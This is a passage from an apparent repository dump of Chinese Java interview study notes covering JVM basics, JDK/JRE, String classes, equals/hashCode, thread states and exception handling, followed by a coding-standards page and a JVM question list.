Evaluation)的做法，根据二八定律，消耗大部分系统资源的只有那一小部分的代码（热点代码），而这也就是JIT所需要编译的部分。JVM会根据代码每次被执行的情况收集信息并相应地做出一些优化，因此执行的次数越多，它的速度就越快。JDK 9引入了一种新的编译模式AOT(Ahead of Time Compilation)，它是直接将字节码编译成机器码，这样就避免了JIT预热等各方面的开销。JDK支持分层编译和AOT协作使用。但是 ，AOT 编译器的编译质量是肯定比不上 JIT 编译器的。\n\n总结：Java虚拟机（JVM）是运行 Java 字节码的虚拟机。JVM有针对不同系统的特定实现（Windows，Linux，macOS），目的是使用相同的字节码，它们都会给出相同的结果。字节码和不同系统的 JVM  实现是 Java 语言“一次编译，随处可以运行”的关键所在。 \n\n### JDK 和 JRE\n\nJDK是Java Development Kit，它是功能齐全的Java SDK。它拥有JRE所拥有的一切，还有编译器（javac）和工具（如javadoc和jdb）。它能够创建和编译程序。\n\nJRE 是 Java运行时环境。它是运行已编译 Java 程序所需的所有内容的集合，包括 Java虚拟机（JVM），Java类库，java命令和其他的一些基础构件。但是，它不能用于创建新程序。\n\n如果你只是为了运行一下 Java 程序的话，那么你只需要安装 JRE 就可以了。如果你需要进行一些 Java 编程方面的工作，那么你就需要安装JDK了。但是，这不是绝对的。有时，即使您不打算在计算机上进行任何Java开发，仍然需要安装JDK。例如，如果要使用JSP部署Web应用程序，那么从技术上讲，您只是在应用程序服务器中运行Java程序。那你为什么需要JDK呢？因为应用程序服务器会将 JSP 转换为 Java servlet，并且需要使用 JDK 来编译 servlet。\n\n## 4. Oracle JDK 和 OpenJDK 的对比\n\n可能在看这个问题之前很多人和我一样并没有接触和使用过  OpenJDK 。那么Oracle和OpenJDK之间是否存在重大差异？下面我通过收集到的一些资料，为你解答这个被很多人忽视的问题。\n\n对于Java 7，没什么关键的地方。OpenJDK项目主要基于Sun捐赠的HotSpot源代码。此外，OpenJDK被选为Java 7的参考实现，由Oracle工程师维护。关于JVM，JDK，JRE和OpenJDK之间的区别，Oracle博客帖子在2012年有一个更详细的答案：\n\n> 问：OpenJDK存储库中的源代码与用于构建Oracle JDK的代码之间有什么区别？\n>\n> 答：非常接近 - 我们的Oracle JDK版本构建过程基于OpenJDK 7构建，只添加了几个部分，例如部署代码，其中包括Oracle的Java插件和Java WebStart的实现，以及一些封闭的源代码派对组件，如图形光栅化器，一些开源的第三方组件，如Rhino，以及一些零碎的东西，如附加文档或第三方字体。展望未来，我们的目的是开源Oracle JDK的所有部分，除了我们考虑商业功能的部分。\n\n总结：\n\n1. Oracle JDK版本将每三年发布一次，而OpenJDK版本每三个月发布一次；\n2. OpenJDK 是一个参考模型并且是完全开源的，而Oracle JDK是OpenJDK的一个实现，并不是完全开源的；\n3. Oracle JDK 比 OpenJDK 更稳定。OpenJDK和Oracle JDK的代码几乎相同，但Oracle JDK有更多的类和一些错误修复。因此，如果您想开发企业/商业软件，我建议您选择Oracle JDK，因为它经过了彻底的测试和稳定。某些情况下，有些人提到在使用OpenJDK 可能会遇到了许多应用程序崩溃的问题，但是，只需切换到Oracle JDK就可以解决问题；\n4. 在响应性和JVM性能方面，Oracle JDK与OpenJDK相比提供了更好的性能；\n5. Oracle JDK不会为即将发布的版本提供长期支持，用户每次都必须通过更新到最新版本获得支持来获取最新版本；\n6. Oracle JDK根据二进制代码许可协议获得许可，而OpenJDK根据GPL v2许可获得许可。\n\n## 5. Java和C++的区别?\n\n我知道很多人没学过 C++，但是面试官就是没事喜欢拿咱们 Java 和 C++ 比呀！没办法！！！就算没学过C++，也要记下来！\n\n- 都是面向对象的语言，都支持封装、继承和多态\n- Java 不提供指针来直接访问内存，程序内存更加安全\n- Java 的类是单继承的，C++ 支持多重继承；虽然 Java 的类不可以多继承，但是接口可以多继承。\n- Java 有自动内存管理机制，不需要程序员手动释放无用内存\n\n\n## 6. 什么是 Java 程序的主类 应用程序和小程序的主类有何不同?\n\n一个程序中可以有多个类，但只能有一个类是主类。在 Java 应用程序中，这个主类是指包含 main（）方法的类。而在 Java 小程序中，这个主类是一个继承自系统类 JApplet 或 Applet 的子类。应用程序的主类不一定要求是 public 类，但小程序的主类要求必须是 public 类。主类是 Java 程序执行的入口点。\n\n## 7. Java 应用程序与小程序之间有那些差别?\n\n简单说应用程序是从主线程启动(也就是 main() 方法)。applet 小程序没有main方法，主要是嵌在浏览器页面上运行(调用init()线程或者run()来启动)，嵌入浏览器这点跟 flash 的小游戏类似。\n\n## 8. 字符型常量和字符串常量的区别?\n\n1. 形式上: 字符常量是单引号引起的一个字符; 字符串常量是双引号引起的若干个字符\n2. 含义上: 字符常量相当于一个整形值( ASCII 值),可以参加表达式运算; 字符串常量代表一个地址值(该字符串在内存中存放位置)\n3. 占内存大小 字符常量只占2个字节; 字符串常量占若干个字节(至少一个字符结束标志) (**注意： char在Java中占两个字节**)\n\n> java编程思想第四版：2.2.2节\n![](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-9-15/86735519.jpg)\n\n## 9. 构造器 Constructor 是否可被 override?\n\n在讲继承的时候我们就知道父类的私有属性和构造方法并不能被继承，所以 Constructor 也就不能被 override（重写）,但是可以 overload（重载）,所以你可以看到一个类中有多个构造函数的情况。\n\n## 10. 重载和重写的区别\n\n**重载：** 发生在同一个类中，方法名必须相同，参数类型不同、个数不同、顺序不同，方法返回值和访问修饰符可以不同，发生在编译时。 　　\n\n**重写：**   发生在父子类中，方法名、参数列表必须相同，返回值范围小于等于父类，抛出的异常范围小于等于父类，访问修饰符范围大于等于父类；如果父类方法访问修饰符为 private 则子类就不能重写该方法。\n\n## 11. Java 面向对象编程三大特性: 封装 继承 多态\n\n### 封装\n\n封装把一个对象的属性私有化，同时提供一些可以被外界访问的属性的方法，如果属性不想被外界访问，我们大可不必提供方法给外界访问。但是如果一个类没有提供给外界访问的方法，那么这个类也没有什么意义了。\n\n\n### 继承\n继承是使用已存在的类的定义作为基础建立新类的技术，新类的定义可以增加新的数据或新的功能，也可以用父类的功能，但不能选择性地继承父类。通过使用继承我们能够非常方便地复用以前的代码。\n\n**关于继承如下 3 点请记住：**\n\n1. 子类拥有父类非 private 的属性和方法。\n2. 子类可以拥有自己属性和方法，即子类可以对父类进行扩展。\n3. 子类可以用自己的方式实现父类的方法。（以后介绍）。\n\n### 多态\n\n所谓多态就是指程序中定义的引用变量所指向的具体类型和通过该引用变量发出的方法调用在编程时并不确定，而是在程序运行期间才确定，即一个引用变量到底会指向哪个类的实例对象，该引用变量发出的方法调用到底是哪个类中实现的方法，必须在由程序运行期间才能决定。\n\n在Java中有两种形式可以实现多态：继承（多个子类对同一方法的重写）和接口（实现接口并覆盖接口中同一方法）。\n\n## 12. String StringBuffer 和 StringBuilder 的区别是什么? String 为什么是不可变的?\n\n**可变性**\n　\n\n简单的来说：String 类中使用 final 关键字修饰字符数组来保存字符串，`private　final　char　value[]`，所以 String 对象是不可变的。而StringBuilder 与 StringBuffer 都继承自 AbstractStringBuilder 类，在 AbstractStringBuilder 中也是使用字符数组保存字符串`char[]value` 但是没有用 final 关键字修饰，所以这两种对象都是可变的。\n\nStringBuilder 与 StringBuffer 的构造方法都是调用父类构造方法也就是 AbstractStringBuilder 实现的，大家可以自行查阅源码。\n\nAbstractStringBuilder.java\n\n```java\nabstract class AbstractStringBuilder implements Appendable, CharSequence {\n    char[] value;\n    int count;\n    AbstractStringBuilder() {\n    }\n    AbstractStringBuilder(int capacity) {\n        value = new char[capacity];\n    }\n```\n\n\n**线程安全性**\n\nString 中的对象是不可变的，也就可以理解为常量，线程安全。AbstractStringBuilder 是 StringBuilder 与 StringBuffer 的公共父类，定义了一些字符串的基本操作，如 expandCapacity、append、insert、indexOf 等公共方法。StringBuffer 对方法加了同步锁或者对调用的方法加了同步锁，所以是线程安全的。StringBuilder 并没有对方法进行加同步锁，所以是非线程安全的。\n　　\n\n**性能**\n\n每次对 String 类型进行改变的时候，都会生成一个新的 String 对象，然后将指针指向新的 String 对象。StringBuffer 每次都会对 StringBuffer 对象本身进行操作，而不是生成新的对象并改变对象引用。相同情况下使用 StringBuilder 相比使用 StringBuffer 仅能获得 10%~15% 左右的性能提升，但却要冒多线程不安全的风险。\n\n**对于三者使用的总结：** \n1. 操作少量的数据: 适用String\n2. 单线程操作字符串缓冲区下操作大量数据: 适用StringBuilder\n3. 多线程操作字符串缓冲区下操作大量数据: 适用StringBuffer\n\n## 13. 自动装箱与拆箱\n**装箱**：将基本类型用它们对应的引用类型包装起来；\n\n**拆箱**：将包装类型转换为基本数据类型；\n\n## 14. 在一个静态方法内调用一个非静态成员为什么是非法的?\n\n由于静态方法可以不通过对象进行调用，因此在静态方法里，不能调用其他非静态变量，也不可以访问非静态变量成员。\n\n## 15. 在 Java 中定义一个不做事且没有参数的构造方法的作用\n　Java 程序在执行子类的构造方法之前，如果没有用 super() 来调用父类特定的构造方法，则会调用父类中“没有参数的构造方法”。因此，如果父类中只定义了有参数的构造方法，而在子类的构造方法中又没有用 super() 来调用父类中特定的构造方法，则编译时将发生错误，因为 Java 程序在父类中找不到没有参数的构造方法可供执行。解决办法是在父类里加上一个不做事且没有参数的构造方法。\n　\n## 16. import java和javax有什么区别？\n\n刚开始的时候 JavaAPI 所必需的包是 java 开头的包，javax 当时只是扩展 API 包来使用。然而随着时间的推移，javax 逐渐地扩展成为 Java API 的组成部分。但是，但是，将扩展从 javax 包移动到 java 包确实太麻烦了，最终会破坏一堆现有的代码。因此，最终决定 javax 包将成为标准API的一部分。\n\n所以，实际上java和javax没有区别。这都是一个名字。\n\n## 17. 接口和抽象类的区别是什么？\n\n1. 接口的方法默认是 public，所有方法在接口中不能有实现(Java 8 开始接口方法可以有默认实现），而抽象类可以有非抽象的方法。\n2.  接口中的实例变量默认是 final 类型的，而抽象类中则不一定。\n3.  一个类可以实现多个接口，但最多只能实现一个抽象类。\n4.  一个类实现接口的话要实现接口的所有方法，而抽象类不一定。\n5.  接口不能用 new 实例化，但可以声明，但是必须引用一个实现该接口的对象。从设计层面来说，抽象是对类的抽象，是一种模板设计，而接口是对行为的抽象，是一种行为的规范。\n\n备注:在JDK8中，接口也可以定义静态方法，可以直接用接口名调用。实现类和实现是不可以调用的。如果同时实现两个接口，接口中定义了一样的默认方法，则必须重写，不然会报错。(详见issue:[https://github.com/Snailclimb/JavaGuide/issues/146](https://github.com/Snailclimb/JavaGuide/issues/146))\n\n## 18. 成员变量与局部变量的区别有那些？\n\n1. 从语法形式上看:成员变量是属于类的，而局部变量是在方法中定义的变量或是方法的参数；成员变量可以被 public,private,static 等修饰符所修饰，而局部变量不能被访问控制修饰符及 static 所修饰；但是，成员变量和局部变量都能被 final 所修饰。\n2. 从变量在内存中的存储方式来看:如果成员变量是使用`static`修饰的，那么这个成员变量是属于类的，如果没有使用使用`static`修饰，这个成员变量是属于实例的。而对象存在于堆内存，局部变量则存在于栈内存。\n3. 从变量在内存中的生存时间上看:成员变量是对象的一部分，它随着对象的创建而存在，而局部变量随着方法的调用而自动消失。\n4. 成员变量如果没有被赋初值:则会自动以类型的默认值而赋值（一种情况例外被 final 修饰的成员变量也必须显示地赋值），而局部变量则不会自动赋值。\n\n## 19. 创建一个对象用什么运算符?对象实体与对象引用有何不同?\n\nnew运算符，new创建对象实例（对象实例在堆内存中），对象引用指向对象实例（对象引用存放在栈内存中）。一个对象引用可以指向0个或1个对象（一根绳子可以不系气球，也可以系一个气球）;一个对象可以有n个引用指向它（可以用n条绳子系住一个气球）。\n\n## 20. 什么是方法的返回值?返回值在类的方法里的作用是什么?\n\n方法的返回值是指我们获取到的某个方法体中的代码执行后产生的结果！（前提是该方法可能产生结果）。返回值的作用:接收出结果，使得它可以用于其他的操作！\n\n## 21. 一个类的构造方法的作用是什么? 若一个类没有声明构造方法，该程序能正确执行吗? 为什么?\n\n主要作用是完成对类对象的初始化工作。可以执行。因为一个类即使没有声明构造方法也会有默认的不带参数的构造方法。\n\n## 22. 构造方法有哪些特性？\n\n1. 名字与类名相同。\n2. 没有返回值，但不能用void声明构造函数。\n3. 生成类的对象时自动执行，无需调用。\n\n## 23. 静态方法和实例方法有何不同\n\n1. 在外部调用静态方法时，可以使用\"类名.方法名\"的方式，也可以使用\"对象名.方法名\"的方式。而实例方法只有后面这种方式。也就是说，调用静态方法可以无需创建对象。 \n\n2. 静态方法在访问本类的成员时，只允许访问静态成员（即静态成员变量和静态方法），而不允许访问实例成员变量和实例方法；实例方法则无此限制。\n\n## 24. 对象的相等与指向他们的引用相等,两者有什么不同?\n\n对象的相等，比的是内存中存放的内容是否相等。而引用相等，比较的是他们指向的内存地址是否相等。\n\n## 25. 在调用子类构造方法之前会先调用父类没有参数的构造方法,其目的是?\n\n帮助子类做初始化工作。\n\n## 26. == 与 equals(重要)\n\n**==** : 它的作用是判断两个对象的地址是不是相等。即，判断两个对象是不是同一个对象(基本数据类型==比较的是值，引用数据类型==比较的是内存地址)。\n\n**equals()** : 它的作用也是判断两个对象是否相等。但它一般有两种使用情况：\n-  情况1：类没有覆盖 equals() 方法。则通过 equals() 比较该类的两个对象时，等价于通过“==”比较这两个对象。\n- 情况2：类覆盖了 equals() 方法。一般，我们都覆盖 equals() 方法来两个对象的内容相等；若它们的内容相等，则返回 true (即，认为这两个对象相等)。\n\n\n**举个例子：**\n\n```java\npublic class test1 {\n    public static void main(String[] args) {\n        String a = new String(\"ab\"); // a 为一个引用\n        String b = new String(\"ab\"); // b为另一个引用,对象的内容一样\n        String aa = \"ab\"; // 放在常量池中\n        String bb = \"ab\"; // 从常量池中查找\n        if (aa == bb) // true\n            System.out.println(\"aa==bb\");\n        if (a == b) // false，非同一对象\n            System.out.println(\"a==b\");\n        if (a.equals(b)) // true\n            System.out.println(\"aEQb\");\n        if (42 == 42.0) { // true\n            System.out.println(\"true\");\n        }\n    }\n}\n```\n\n**说明：**\n- String 中的 equals 方法是被重写过的，因为 object 的 equals 方法是比较的对象的内存地址，而 String 的 equals 方法比较的是对象的值。\n- 当创建 String 类型的对象时，虚拟机会在常量池中查找有没有已经存在的值和要创建的值相同的对象，如果有就把它赋给当前引用。如果没有就在常量池中重新创建一个 String 对象。\n\n\n\n##  27. hashCode 与 equals (重要)\n\n面试官可能会问你：“你重写过 hashcode 和 equals 么，为什么重写equals时必须重写hashCode方法？”\n\n### hashCode（）介绍\nhashCode() 的作用是获取哈希码，也称为散列码；它实际上是返回一个int整数。这个哈希码的作用是确定该对象在哈希表中的索引位置。hashCode() 定义在JDK的Object.java中，这就意味着Java中的任何类都包含有hashCode() 函数。\n\n散列表存储的是键值对(key-value)，它的特点是：能根据“键”快速的检索出对应的“值”。这其中就利用到了散列码！（可以快速找到所需要的对象）\n\n### 为什么要有 hashCode\n\n\n**我们以“HashSet 如何检查重复”为例子来说明为什么要有 hashCode：**\n\n当你把对象加入 HashSet 时，HashSet 会先计算对象的 hashcode 值来判断对象加入的位置，同时也会与其他已经加入的对象的 hashcode 值作比较，如果没有相符的hashcode，HashSet会假设对象没有重复出现。但是如果发现有相同 hashcode 值的对象，这时会调用 equals（）方法来检查 hashcode 相等的对象是否真的相同。如果两者相同，HashSet 就不会让其加入操作成功。如果不同的话，就会重新散列到其他位置。（摘自我的Java启蒙书《Head first java》第二版）。这样我们就大大减少了 equals 的次数，相应就大大提高了执行速度。\n\n\n\n### hashCode（）与equals（）的相关规定\n\n1. 如果两个对象相等，则hashcode一定也是相同的\n2. 两个对象相等,对两个对象分别调用equals方法都返回true\n3. 两个对象有相同的hashcode值，它们也不一定是相等的\n4. **因此，equals 方法被覆盖过，则 hashCode 方法也必须被覆盖**\n5. hashCode() 的默认行为是对堆上的对象产生独特值。如果没有重写 hashCode()，则该 class 的两个对象无论如何都不会相等（即使这两个对象指向相同的数据）\n\n\n## 28. 为什么Java中只有值传递？\n\n [为什么Java中只有值传递？](https://github.com/Snailclimb/JavaGuide/blob/master/docs/essential-content-for-interview/MostCommonJavaInterviewQuestions/%E7%AC%AC%E4%B8%80%E5%91%A8%EF%BC%882018-8-7%EF%BC%89.md)\n\n\n## 29. 简述线程、程序、进程的基本概念。以及他们之间关系是什么?\n\n**线程**与进程相似，但线程是一个比进程更小的执行单位。一个进程在其执行的过程中可以产生多个线程。与进程不同的是同类的多个线程共享同一块内存空间和一组系统资源，所以系统在产生一个线程，或是在各个线程之间作切换工作时，负担要比进程小得多，也正因为如此，线程也被称为轻量级进程。  \n\n**程序**是含有指令和数据的文件，被存储在磁盘或其他的数据存储设备中，也就是说程序是静态的代码。\n\n**进程**是程序的一次执行过程，是系统运行程序的基本单位，因此进程是动态的。系统运行一个程序即是一个进程从创建，运行到消亡的过程。简单来说，一个进程就是一个执行中的程序，它在计算机中一个指令接着一个指令地执行着，同时，每个进程还占有某些系统资源如CPU时间，内存空间，文件，文件，输入输出设备的使用权等等。换句话说，当程序在执行时，将会被操作系统载入内存中。\n线程是进程划分成的更小的运行单位。线程和进程最大的不同在于基本上各进程是独立的，而各线程则不一定，因为同一进程中的线程极有可能会相互影响。从另一角度来说，进程属于操作系统的范畴，主要是同一段时间内，可以同时执行一个以上的程序，而线程则是在同一程序内几乎同时执行一个以上的程序段。\n\n## 30. 线程有哪些基本状态?\n\nJava 线程在运行的生命周期中的指定时刻只可能处于下面6种不同状态的其中一个状态（图源《Java 并发编程艺术》4.1.4节）。\n\n![Java线程的状态](https://my-blog-to-use.oss-cn-beijing.aliyuncs.com/19-1-29/Java%E7%BA%BF%E7%A8%8B%E7%9A%84%E7%8A%B6%E6%80%81.png)\n\n线程在生命周期中并不是固定处于某一个状态而是随着代码的执行在不同状态之间切换。Java 线程状态变迁如下图所示（图源《Java 并发编程艺术》4.1.4节）：\n\n![Java线程状态变迁](https://my-blog-to-use.oss-cn-beijing.aliyuncs.com/19-1-29/Java%20%E7%BA%BF%E7%A8%8B%E7%8A%B6%E6%80%81%E5%8F%98%E8%BF%81.png)\n\n\n\n由上图可以看出：\n\n线程创建之后它将处于 **NEW（新建）** 状态，调用 `start()` 方法后开始运行，线程这时候处于 **READY（可运行）** 状态。可运行状态的线程获得了 cpu 时间片（timeslice）后就处于 **RUNNING（运行）** 状态。\n\n> 操作系统隐藏 Java虚拟机（JVM）中的 RUNNABLE 和 RUNNING 状态，它只能看到 RUNNABLE 状态（图源：[HowToDoInJava](https://howtodoinjava.com/)：[Java Thread Life Cycle and Thread States](https://howtodoinjava.com/java/multi-threading/java-thread-life-cycle-and-thread-states/)），所以 Java 系统一般将这两个状态统称为 **RUNNABLE（运行中）** 状态 。\n\n![RUNNABLE-VS-RUNNING](https://my-blog-to-use.oss-cn-beijing.aliyuncs.com/2019-3/RUNNABLE-VS-RUNNING.png)\n\n当线程执行 `wait()`方法之后，线程进入 **WAITING（等待）**状态。进入等待状态的线程需要依靠其他线程的通知才能够返回到运行状态，而 **TIME_WAITING(超时等待)** 状态相当于在等待状态的基础上增加了超时限制，比如通过 `sleep（long millis）`方法或 `wait（long millis）`方法可以将 Java 线程置于 TIMED WAITING 状态。当超时时间到达后 Java 线程将会返回到 RUNNABLE 状态。当线程调用同步方法时，在没有获取到锁的情况下，线程将会进入到 **BLOCKED（阻塞）** 状态。线程在执行 Runnable 的` run() `方法之后将会进入到 **TERMINATED（终止）** 状态。\n\n## 31 关于 final 关键字的一些总结\n\nfinal关键字主要用在三个地方：变量、方法、类。\n\n1. 对于一个final变量，如果是基本数据类型的变量，则其数值一旦在初始化之后便不能更改；如果是引用类型的变量，则在对其初始化之后便不能再让其指向另一个对象。\n2. 当用final修饰一个类时，表明这个类不能被继承。final类中的所有成员方法都会被隐式地指定为final方法。\n3. 使用final方法的原因有两个。第一个原因是把方法锁定，以防任何继承类修改它的含义；第二个原因是效率。在早期的Java实现版本中，会将final方法转为内嵌调用。但是如果方法过于庞大，可能看不到内嵌调用带来的任何性能提升（现在的Java版本已经不需要使用final方法进行这些优化了）。类中所有的private方法都隐式地指定为final。\n\n## 32 Java 中的异常处理\n\n### Java异常类层次结构图\n\n![Java异常类层次结构图](https://my-blog-to-use.oss-cn-beijing.aliyuncs.com/2019-2/Exception.png)\n   在 Java 中，所有的异常都有一个共同的祖先java.lang包中的 **Throwable类**。Throwable： 有两个重要的子类：**Exception（异常）** 和 **Error（错误）** ，二者都是 Java 异常处理的重要子类，各自都包含大量子类。\n\n**Error（错误）:是程序无法处理的错误**，表示运行应用程序中较严重问题。大多数错误与代码编写者执行的操作无关，而表示代码运行时 JVM（Java 虚拟机）出现的问题。例如，Java虚拟机运行错误（Virtual MachineError），当 JVM 不再有继续执行操作所需的内存资源时，将出现 OutOfMemoryError。这些异常发生时，Java虚拟机（JVM）一般会选择线程终止。\n\n这些错误表示故障发生于虚拟机自身、或者发生在虚拟机试图执行应用时，如Java虚拟机运行错误（Virtual MachineError）、类定义错误（NoClassDefFoundError）等。这些错误是不可查的，因为它们在应用程序的控制和处理能力之 外，而且绝大多数是程序运行时不允许出现的状况。对于设计合理的应用程序来说，即使确实发生了错误，本质上也不应该试图去处理它所引起的异常状况。在 Java中，错误通过Error的子类描述。\n\n**Exception（异常）:是程序本身可以处理的异常**。</font>Exception 类有一个重要的子类 **RuntimeException**。RuntimeException 异常由Java虚拟机抛出。**NullPointerException**（要访问的变量没有引用任何对象时，抛出该异常）、**ArithmeticException**（算术运算异常，一个整数除以0时，抛出该异常）和 **ArrayIndexOutOfBoundsException** （下标越界异常）。\n\n**注意：异常和错误的区别：异常能被程序本身可以处理，错误是无法处理。**\n\n### Throwable类常用方法\n\n- **public string getMessage()**:返回异常发生时的详细信息\n- **public string toString()**:返回异常发生时的简要描述\n- **public string getLocalizedMessage()**:返回异常对象的本地化信息。使用Throwable的子类覆盖这个方法，可以声称本地化信息。如果子类没有覆盖该方法，则该方法返回的信息与getMessage（）返回的结果相同\n- **public void printStackTrace()**:在控制台上打印Throwable对象封装的异常信息\n\n### 异常处理总结\n\n- **try 块：**用于捕获异常。其后可接零个或多个catch块，如果没有catch块，则必须跟一个finally块。\n- **catch 块：**用于处理try捕获到的异常。\n- **finally 块：**无论是否捕获或处理异常，finally块里的语句都会被执行。当在try块或catch块中遇到return语句时，finally语句块将在方法返回之前被执行。\n\n**在以下4种特殊情况下，finally块不会被执行：**\n\n1. 在finally语句块第一行发生了异常。 因为在其他行，finally块还是会得到执行\n2. 在前面的代码中用了System.exit(int)已退出程序。 exit是带参函数 ；若该语句在异常语句之后，finally会执行\n3. 程序所在的线程死亡。\n4. 关闭CPU。\n\n下面这部分内容来自issue:<https://github.com/Snailclimb/JavaGuide/issues/190>。\n\n**关于返回值：**\n\n如果try语句里有return，返回的是try语句块中变量值。 \n详细执行过程如下：\n\n1. 如果有返回值，就把返回值保存到局部变量中；\n2. 执行jsr指令跳到finally语句里执行；\n3. 执行完finally语句后，返回之前保存在局部变量表里的值。\n4. 如果try，finally语句里均有return，忽略try的return，而使用finally的return.\n\n## 33 Java序列化中如果有些字段不想进行序列化，怎么办？\n\n对于不想进行序列化的变量，使用transient关键字修饰。\n\ntransient关键字的作用是：阻止实例中那些用此关键字修饰的的变量序列化；当对象被反序列化时，被transient修饰的变量值不会被持久化和恢复。transient只能修饰变量，不能修饰类和方法。\n\n## 34 获取用键盘输入常用的的两种方法\n\n方法1：通过 Scanner\n\n```java\nScanner input = new Scanner(System.in);\nString s  = input.nextLine();\ninput.close();\n```\n\n方法2：通过 BufferedReader \n\n```java\nBufferedReader input = new BufferedReader(new InputStreamReader(System.in)); \nString s = input.readLine(); \n```\n\n## 参考\n\n- https://stackoverflow.com/questions/1906445/what-is-the-difference-between-jdk-and-jre\n- https://www.educba.com/oracle-vs-openjdk/\n- https://stackoverflow.com/questions/22358071/differences-between-oracle-jdk-and-openjdk?answertab=active#tab-top\n"
  },
  {
    "path": "docs/java/Java编程规范.md",
    "content": "\n\n根据各位建议加上了这部分内容，我暂时只是给出了两个资源，后续可能会对重要的点进行总结，然后更新在这里，如果你总结过这类东西，欢迎与我联系！\n\n- **阿里巴巴Java开发手册（详尽版）** <https://github.com/alibaba/p3c/blob/master/阿里巴巴Java开发手册（详尽版）.pdf>\n- **Google Java编程风格指南：** <http://www.hawstein.com/posts/google-java-style.html>\n\n## 针对阿里Java开发手册特别注意\n- 日期格式化时，传入 pattern 中表示年份统一使用小写的 y\n> \"yyyy-MM-dd HH:mm:ss\" 中 HH 24小时制，hh 12小时制\n\n- 判断所有集合内部的元素是否为空，使用 isEmpty()方法，而不是 size()==0 的方式\n> 在某些集合中，前者的时间复杂度为 O(1)，而且可读性更好。\n\n- 在使用 Collection 接口任何实现类的 addAll()方法时，都要对输入的集合参数进行\n  NPE 判断。"
  },
  {
    "path": "docs/java/Java虚拟机（jvm）.md",
    "content": "\n下面是按jvm虚拟机知识点分章节总结的一些jvm学习与面试相关的一些东西。一般作为Java程序员在面试的时候一般会问的大多就是**Java内存区域、虚拟机垃圾算法、虚拟垃圾收集器、JVM内存管理**这些问题了。这些内容参考周的《深入理解Java虚拟机》中第二章和第三章就足够了对应下面的[深入理解虚拟机之Java内存区域：](https://link.zhihu.com/?target=https%3A//mp.weixin.qq.com/s%3F__biz%3DMzU4NDQ4MzU5OA%3D%3D%26mid%3D2247483910%26idx%3D1%26sn%3D246f39051a85fc312577499691fba89f%26chksm%3Dfd985467caefdd71f9a7c275952be34484b14f9e092723c19bd4ef557c324169ed084f868bdb%23rd)和[深入理解虚拟机之垃圾回收](https://link.zhihu.com/?target=https%3A//mp.weixin.qq.com/s%3F__biz%3DMzU4NDQ4MzU5OA%3D%3D%26mid%3D2247483914%26idx%3D1%26sn%3D9aa157d4a1570962c39783cdeec7e539%26chksm%3Dfd98546bcaefdd7d9f61cd356e5584e56b64e234c3a403ed93cb6d4dde07a505e3000fd0c427%23rd)这两篇文章。\n\n\n> ### 常见面试题\n\n[深入理解虚拟机之Java内存区域](https://mp.weixin.qq.com/s?__biz=Mzg2OTA0Njk0OA==&mid=2247484960&idx=1&sn=ff3739fe849030178346bef28a4556c3&chksm=cea249ebf9d5c0fdbde7c86155d0d7ac8925153742aff472bcb79e5e9d400534a855bad38375&token=1082669959&lang=zh_CN#rd)\n\n1. 介绍下Java内存区域（运行时数据区）。\n\n2. 对象的访问定位的两种方式。\n\n\n[深入理解虚拟机之垃圾回收](https://mp.weixin.qq.com/s?__biz=Mzg2OTA0Njk0OA==&mid=2247484959&idx=1&sn=9ac740edba59981b7c89482043776280&chksm=cea249d4f9d5c0c21703382510a47d4bb387932bd814ac891fd214b92cead5d2cf0ee2dff797&token=1082669959&lang=zh_CN#rd)\n\n1. 如何判断对象是否死亡（两种方法）。\n\n2. 简单的介绍一下强引用、软引用、弱引用、虚引用（虚引用与软引用和弱引用的区别、使用软引用能带来的好处）。\n\n3. 垃圾收集有哪些算法，各自的特点？\n\n4. HotSpot为什么要分为新生代和老年代？\n\n5. 常见的垃圾回收器有那些？\n\n6. 介绍一下CMS,G1收集器。\n\n7. Minor Gc和Full GC 有什么不同呢？\n\n\n\n [虚拟机性能监控和故障处理工具](https://mp.weixin.qq.com/s?__biz=Mzg2OTA0Njk0OA==&mid=2247484957&idx=1&sn=713ed6003d23ef883ded14cb43e9ebb7&chksm=cea249d6f9d5c0c0ce0854a03f0d02fcacc8a46e29c2fd4f085a375b00e1cd1b632937a9895e&token=1082669959&lang=zh_CN#rd)\n\n1. JVM调优的常见命令行工具有哪些？\n\n [深入理解虚拟机之类文件结构](https://mp.weixin.qq.com/s?__biz=Mzg2OTA0Njk0OA==&mid=2247484956&idx=1&sn=05f46ccacacdbce7c43de594d3fe93db&chksm=cea249d7f9d5c0c1ef6d29b0fbbf0701acd28490deb0974ae71b4d23ae793bec0b0993a4c829&token=1082669959&lang=zh_CN#rd)\n\n1. 简单介绍一下Class类文件结构（常量池主要存放的是那两大常量？Class文件的继承关系是如何确定的？字段表、方法表、属性表主要包含那些信息？）\n\n[深入理解虚拟机之虚拟机字节码执行引擎](https://mp.weixin.qq.com/s?__biz=Mzg2OTA0Njk0OA==&mid=2247484952&idx=1&sn=d0ec9443600dc5b2a81782b7ae0691d5&chksm=cea249d3f9d5c0c50642f1829fd6fe9e35d155bbbb6718611330c7c46c7158279275b533181e&token=1082669959&lang=zh_CN#rd)\n\n1. 简单说说类加载过程，里面执行了哪些操作？\n\n2. 对类加载器有了解吗？\n\n3. 什么是双亲委派模型？\n\n4. 双亲委派模型的工作过程以及使用它的好处。\n\n\n\n\n\n> ### 推荐阅读\n\n [《深入理解 Java 内存模型》读书笔记](http://www.54tianzhisheng.cn/2018/02/28/Java-Memory-Model/) （非常不错的文章）\n [全面理解Java内存模型(JMM)及volatile关键字 ](https://blog.csdn.net/javazejian/article/details/72772461)\n\n\n"
  },
  {
    "path": "docs/java/Java集合框架常见面试题总结.md",
    "content": "<!-- MarkdownTOC -->\n\n1. [List，Set,Map三者的区别及总结](#list，setmap三者的区别及总结)\n1. [Arraylist 与 LinkedList 区别](#arraylist-与-linkedlist-区别)\n1. [ArrayList 与 Vector 区别（为什么要用Arraylist取代Vector呢？）](#arraylist-与-vector-区别)\n1. [HashMap 和 Hashtable 的区别](#hashmap-和-hashtable-的区别)\n1. [HashSet 和 HashMap 区别](#hashset-和-hashmap-区别)\n1. [HashMap 和 ConcurrentHashMap 的区别](#hashmap-和-concurrenthashmap-的区别)\n1. [HashSet如何检查重复](#hashset如何检查重复)\n1. [comparable 和 comparator的区别](#comparable-和-comparator的区别)\n\t1. [Comparator定制排序](#comparator定制排序)\n\t1. [重写compareTo方法实现按年龄来排序](#重写compareto方法实现按年龄来排序)\n1. [如何对Object的list排序？](#如何对object的list排序)\n1. [如何实现数组与List的相互转换？](#如何实现数组与list的相互转换)\n1. [如何求ArrayList集合的交集 并集 差集 去重复并集](#如何求arraylist集合的交集-并集-差集-去重复并集)\n1. [HashMap 